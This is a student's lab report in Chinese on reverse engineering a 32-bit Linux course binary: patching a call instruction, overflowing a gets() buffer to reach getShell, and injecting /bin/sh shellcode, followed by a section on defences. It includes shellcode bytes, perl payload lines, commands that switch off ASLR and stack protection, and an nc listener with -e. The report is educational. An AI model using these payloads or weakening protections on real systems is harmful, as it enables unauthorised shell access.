Exp1 PC平台逆向破解(5)M

一、报告相关内容

  • 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码（0.5分）
    NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
    JNE：条件转移指令，如果不相等则跳转。（机器码：75）
    JE：条件转移指令，如果相等则跳转。（机器码：74）
    JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB） 段内直接近转移Jmp near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）
    CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
  • 2.掌握反汇编与十六进制编程器 (0.5分)
  • 3.能正确修改机器指令改变程序执行流程（0.5分）
  • 4.能正确构造payload进行bof攻击（0.5分）

二、实践内容

1.直接修改程序机器指令，改变程序执行流程

  • 1.1 读取ELF文件头的内容
    readelf命令一般用于查看ELF格式的文件信息，常见的文件如在Linux上的可执行文件，动态库(.so)或者静态库(.a) 等包含ELF格式的文件。以下命令的使用是基于android编译出来的so文件上面去运行。
    readelf -h 显示elf文件开始的文件头信息。
    读取ELF文件头的内容如图所示：

  • 1.2 对目标文件pwn20191330进行反汇编。
    使用指令如下：objdump -d pwn20191330 | more
    实践截图如下：

  • 1.3 找到目标文件pwn20191330中的重要函数
    实践截图如下：

    阅读实践指导可知：

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 ...
08048491 <foo>:
 8048491:	55                   	push   %ebp
 ...
080484af <main>:
 ...
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo> 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax

  • 先看该行，"call 8048491 "是汇编指令；

  • 是说这条指令将调用位于地址8048491处的foo函数；

  • 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。

  • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

  • main函数调用foo，对应机器指令为“ e8 d7ffffff”，

  • 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。

  • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

  • 下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。
    下面修改call指令的目标地址。

  • 1.4 修改call指令的目标地址。
    阅读实践指导可知操作步骤：

1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

实践截图如下：

  • 1.5 检查是否修改成功
    实践截图如下：

    如图所示，修改成功。

  • 1.6 运行及对比
    实践截图如下：

2.通过构造输入参数，造成BOF攻击，改变程序执行流

  • 2.1 反汇编及了解程序基本功能
    阅读实践指导可知：
8048477:	90                   	nop
8048478:	e9 73 ff ff ff       	jmp    80483f0 <register_tm_clones>
== 注意这个函数getShell，我们的目标是触发这个函数  ==

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 804847e:	89 e5                	mov    %esp,%ebp
 8048480:	83 ec 18             	sub    $0x18,%esp
 8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
 804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
 804848f:	c9                   	leave  
 8048490:	c3                   	ret    

== 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞  ==

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)
 
 == 这里读入字符串，但系统只预留了28字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==
 
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave  
 80484ae:	c3                   	ret    

080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
 
 ==上面的call调用foo,同时在堆栈上压上返回地址值:80484ba== 
 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

080484d0 <__libc_csu_init>:
  • 2.2 确认输入字符串哪几个字符会覆盖到返回地址
    首先需要安装gdb，指令如下：
sudo chmod a+w /etc/apt/sources.list
sudo chmod a-w /etc/apt/sources.list
sudo apt-get update
sudo apt-get install gdb

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。
实践截图如下：

  • 2.3 确认用什么值来覆盖返回地址
    getShell的内存地址，通过反汇编时可以看到，即0804847d。
    接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
    实践截图如下：

    对比之前 eip 0x34333231 0x34333231 ，正确应用输入11111111222222223333333344444444\x7d\x84\x04\x08。

  • 2.4 构造输入字符串
    因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
    然后将input的输入，通过管道符“|”，作为目标文件pwn20191330的输入。命令为：

(cat input; cat) | ./pwn20191330

实践截图如下：

3.注入Shellcode并执行

  • shellcode就是一段机器指令（code）
  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
    参考实践指导可知，Shellcode如下：
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 3.2 准备工作
    参考实践指导：
execstack -s pwn20191330    //设置堆栈可执行
execstack -q pwn20191330    //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
  • 3.3 构造要注入的payload
  • Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode
nop+shellcode+retaddr。

  • 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。

  • 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

  • 我们这个buf够放这个shellcode了

  • 结构为：nops+shellcode+retaddr。

  • nop一为是了填充，二是作为“着陆区/滑行区”。

  • 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
    参考实践指导得代码如下：

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
实践截图如下：

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf：

(cat input_shellcode;cat) | ./pwn20191330

如图：

再开另外一个终端，用gdb来调试pwn1这个进程。
如图：

启动gdb调试这个进程：

设置断点：

往前寻找shellcode：

返回地址占位也是对的：

  • 3.4 我决定将返回地址改为0xffffd300
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

没成功
截图如下：

查找原因，gdb单步调试：
截图如下：

  • 3.5 重新开始
    代码如下：
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

成功截图如下：

成功预设条件：
（1）关闭堆栈保护（gcc -fno-stack-protector）

（2）关闭堆栈执行保护(execstack -s)

（3）关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

（4）在x32环境下

（5）在Linux实践环境

  • 3.5 结合nc模拟远程攻击
    主机1，模拟一个有漏洞的网络服务：
root:~# nc -l 127.0.0.1 -p 28234  -e ./pwn1

-l 表示listen, -p 后加端口号 -e 后加可执行文件，网络上接收的数据将作为这个程序的输入

主机2，连接主机1并发送攻击载荷：

root@KaliYL:~# (cat input_shellcode; cat) | nc 127.0.0.1 28234
输入shell指令就可以了
ls

截图如下：

4.Bof攻击防御技术

  • 4.1从防止注入的角度
    在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。
    参考链接：http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/index.html（GCC 中的编译器堆栈保护技术）
  • 4.2注入入了也不让运行
    结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。
root@KaliYL:~# apt-cache search execstack
execstack - ELF GNU_STACK program header editing utility
root@KaliYL:~# apt-get install execstack

root@KaliYL:~# execstack --help
Usage: execstack [OPTION...]
execstack -- program to query or set executable stack flag

  -c, --clear-execstack      Clear executable stack flag bit
  -q, --query                Query executable stack flag bit
  -s, --set-execstack        Set executable stack flag bit

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1

参考链接：https://gitee.com/link?target=https%3A%2F%2Flinux.die.net%2Fman%2F8%2Fexecstack（Linux可执行文件堆栈执行标识设置）

  • 4.3增加shellcode的构造难度。
    shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制（address space layout randomization)，有以下三种情况
 
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。


root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

参考链接：
https://gitee.com/link?target=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FAddress_space_layout_randomization%23Exploitation（ASLR Exploitation）

  • 4.4 从管理的角度
    加强编码质量。注意边界检测。使用最新的安全的库函数。

5 总结

本次实验很好地向我们展示了缓冲区溢出的全过程，复习了缓冲区溢出的相关知识，让我更深入地了解了缓冲区溢出攻击的原理，并亲自上手实践了缓冲区溢出如何实现，并复习了Linux系统的相关基础知识，学习了如何安装及使用kali系统，在小组同学的帮助下共同完成此次试验，使我受益颇多。

参考资料：

https://gitee.com/link?target=http%3A%2F%2Fwww.freebuf.com%2Farticles%2Fsystem%2F127207.html（矛与盾：二进制漏洞攻防思想对抗。）
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/基本Linux漏洞攻击.md?dir=0&filepath=ExpGuides%2F基本Linux漏洞攻击.md&oid=5511babd7f47062a57abaff9345bdb2d61208e63&sha=10b5cc2f39023868c5743fe44d6ee3e71963f89b（基本Linux漏洞攻击。）

posted @ 2022-03-25 20:10  20191330雷清逸  阅读(79)  评论(0)  编辑  收藏  举报